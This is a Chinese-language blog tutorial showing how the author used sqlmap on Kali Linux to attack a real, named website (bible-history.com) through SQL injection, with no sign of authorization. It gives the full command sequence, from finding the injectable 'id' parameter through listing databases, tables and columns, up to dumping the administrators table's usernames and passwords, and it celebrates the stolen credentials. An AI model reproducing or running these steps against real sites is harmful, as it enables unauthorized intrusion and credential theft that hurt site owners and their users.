前言

好久没有玩kali,都说kali玩的好,局子进的早,在各大神帖子下,今天打算用sqlmap来获取某个悲催网站的管理员账号和密码,www.bible-history.com这个就是传说中经常被攻击的网站,今天就拿它开刀。

实践

sqlmap工具通常都是用sql自动注入来获取网站管理员密码。输入https://www.bible-history.com/subcat.php这个网址跳转的网站界面如下:

kali 运行mysql kali运行sqlmap_php

输入https://www.bible-history.com/subcat.php?id=2,跳转到如下界面:

kali 运行mysql kali运行sqlmap_kali 运行mysql_02

直接在网址后面添加?id=1(后面的数字可以改变),看看与原网页是否相同,如果不同,表示存在注入点,在添加?id=1后,我们发现网页变了。说明可以进行sql注入,来获取权限。这时,我们将存在的网址拿到sqlmap中进行跑一跑。

命令一:sqlmap -u “网址”

例如:root@kali:~# sqlmap -u “https://www.bible-history.com/subcat.php?id=2

kali 运行mysql kali运行sqlmap_kali_03

命令输入以后,回车运行。我这里用的是kali系统自带的sqlmap工具,sqlmap将会自动跑一段时间,测试网站的服务器和数据库,等待他跑完就行。如果中途有停顿需要你选择的,一直按Enter键就行,直到运行结束。结束以后,会给出该网站的数据库、操作系统、服务器等版本信息。

kali 运行mysql kali运行sqlmap_kali_04

这时,我们需要去查看该网站的当前数据库,命令二: sqlmap -u ” 网址 ” --dbs

例如: root@kali:~# sqlmap -u “https://www.bible-history.com/subcat.php?id=2” --dbs

kali 运行mysql kali运行sqlmap_bc_05

跑一段时间后,sqlmap把网站当前的数据库信息给出来

kali 运行mysql kali运行sqlmap_bc_06

命令三: sqlmap -u ” 网址 ” -D 数据库名 --tables 查看当前网站的数据库表

例如: root@kali:~# sqlmap -u “https://www.bible-history.com/subcat.php?id=2” -D bible_history --tables

kali 运行mysql kali运行sqlmap_kali 运行mysql_07

结果:

kali 运行mysql kali运行sqlmap_kali_08

当我们拿到表信息之后,就需要去查看表中包含的列信息。

命令四: sqlmap -u ” 网址 ” -D 数据库名 -T 表名 --columns

root@kali:~# sqlmap -u “https://www.bible-history.com/subcat.php?id=2” -D bible_history -T administrators --columns

kali 运行mysql kali运行sqlmap_kali_09

结果:

kali 运行mysql kali运行sqlmap_bc_10

表中字段明显拿到了,哈哈,去查看表中姓名和密码

使用命令:root@kali:~# sqlmap -u “http://www.bible-history.com/subcat.php?id=2” -D bible_history -T administrators -C admin_id,admin_username,admin_password --dump

kali 运行mysql kali运行sqlmap_sql_11

结果:

kali 运行mysql kali运行sqlmap_bc_12

成功获取管理员姓名和密码!!!!!